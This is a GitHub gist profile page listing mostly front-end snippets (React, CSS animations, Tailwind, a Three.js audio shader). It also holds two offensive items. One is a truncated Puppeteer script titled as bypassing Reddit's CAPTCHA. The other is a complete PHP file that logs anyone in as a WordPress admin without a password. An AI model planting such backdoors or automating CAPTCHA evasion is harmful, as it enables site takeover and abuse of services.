Skip to content

Instantly share code, notes, and snippets.

View alexlevy0's full-sized avatar
🎯
顺其自然

Alex Lévy alexlevy0

🎯
顺其自然
View GitHub Profile
@alexlevy0
alexlevy0 / index.tsx
Created April 29, 2024 20:06 — forked from abelcha/index.tsx
bun run --watch --install auto index.tsx
import 'react@^19.0.0-beta'
import 'react-dom@^19.0.0-beta'
import { renderToReadableStream } from "react-dom/server"
const css = `
@font-face {
font-family: 'CLIG';
font-style: normal;
font-weight: 800;
src: url('https://fonts.clig.dev/EditorialNew-Regular.woff2') format('woff2')
@alexlevy0
alexlevy0 / css-scroll-driven-scroll-snapping-animations.markdown
Created January 31, 2024 08:19
CSS scroll-driven scroll-snapping animations

CSS scroll-driven scroll-snapping animations

Currently only works on Chrome desktop

A polyfill is included for other browsers, but it's iffy.

These last couple of years have really been it for CSS. This cold, dead heart may be resurrecting.

Some section transitions I made while learning about scroll-driven animations. This is a flaky layout, not very practical (especially not the backwards scroll), but sometimes you need to have fun.

@alexlevy0
alexlevy0 / css-scroll-driven-scroll-snapping-animations.markdown
Created January 31, 2024 08:18
CSS scroll-driven scroll-snapping animations

CSS scroll-driven scroll-snapping animations

Currently only works on Chrome desktop

A polyfill is included for other browsers, but it's iffy.

These last couple of years have really been it for CSS. This cold, dead heart may be resurrecting.

Some section transitions I made while learning about scroll-driven animations. This is a flaky layout, not very practical (especially not the backwards scroll), but sometimes you need to have fun.

@alexlevy0
alexlevy0 / home-page-playground.markdown
Created January 31, 2024 07:30
Home Page Playground
@alexlevy0
alexlevy0 / index.html
Created December 26, 2023 17:52 — forked from silverwolfdoc/index.html
tailwind Blurry gradient animated
<div class="flex items-center justify-center min-h-screen bg-gray-50">
<div class="relative w-full max-w-lg">
<div
class="absolute rounded-full animate-blob mix-blend-multiply filter blur-2xl opacity-70 -top-5 -right-2 w-72 h-72 bg-yellow-500"
/>
<div
class="absolute rounded-full animate-blob animation-delay-2000 mix-blend-multiply filter blur-2xl opacity-70 top-0 -left-2 w-72 h-72 bg-indigo-500"
/>
<div
@alexlevy0
alexlevy0 / index.html
Created November 18, 2022 17:39
Microphone Audio to Shadertoy from Three.js
<html lang="en">
<head>
<title>Shaders Example</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="shortcut icon" href="#">
</head>
<body>
<button>Start Web Audio</button>
### Keybase proof
I hereby claim:
* I am alexlevy0 on github.
* I am alexlevy0 (https://keybase.io/alexlevy0) on keybase.
* I have a public key ASAd0R6WSc0H_uBxQo72iybDnd9-n0HWx4FnuiOlROfXrgo
To claim this, I am signing this object:
@alexlevy0
alexlevy0 / reddit-signup.js
Created January 24, 2021 14:34
Bypassing CAPTCHAs with Headless Chrome
const puppeteer = require('puppeteer');
const request = require('request-promise-native');
const poll = require('promise-poller').default;
const siteDetails = {
sitekey: '6LeTnxkTAAAAAN9QEuDZRpn90WwKk_R1TRW_g-JC',
pageurl: 'https://old.reddit.com/login'
}
const getUsername = require('./get-username');
@alexlevy0
alexlevy0 / airplanes.markdown
Created December 24, 2020 21:08
Airplanes.
@alexlevy0
alexlevy0 / brute_login.php
Created July 22, 2020 13:33 — forked from Markcial/brute_login.php
Hack into a wordpress with the admin profile when you have physical acces to the wordpress files.
<?php
require('wp-blog-header.php');
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
wp_safe_redirect( admin_url( 'profile.php' ) );
?>